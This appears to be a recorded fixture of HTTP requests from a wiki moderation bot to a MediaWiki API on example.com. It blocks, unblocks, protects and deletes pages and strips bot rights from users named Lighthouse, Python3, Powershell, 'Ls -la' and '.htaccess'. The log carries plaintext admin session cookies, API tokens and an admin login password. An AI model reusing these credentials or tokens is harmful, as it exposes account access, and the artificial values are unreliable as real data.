{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 145", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Lighthouse&expiry=1+week&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 133", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=2%401794260965%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Lighthouse&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 211", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=4%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Lighthouse+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 143", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=6%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Lighthouse+API+notes&reason=Spamming+links&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=8%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Python3&expiry=1+week&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 148", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=10%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Python3&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 226", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=12%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Python3+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=14%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Python3+API+notes&reason=Spamming+links+to+python3+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=16%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Powershell&expiry=1+week&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 154", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=18%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Powershell&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 232", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=20%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Powershell+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=22%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Powershell+API+notes&reason=Spamming+links+to+powershell+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=24%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=Ls+-la&expiry=1+week&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 146", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Ls+-la&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 224", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=28%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Ls+-la+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 156", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=30%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Ls+-la+API+notes&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=32%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=.htaccess&expiry=1+week&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 152", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=.htaccess&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 230", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=36%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=.htaccess+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=38%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=.htaccess+API+notes&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=5ea1vridedmorakmd7vsjhusjm977r2c", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=38e20a279d9d5c4ceb05bfc8031203146af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=userrights&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 147", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Lighthouse&remove=bot&reason=Spamming+links&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=42%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Python3&remove=bot&reason=Spamming+links+to+python3+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
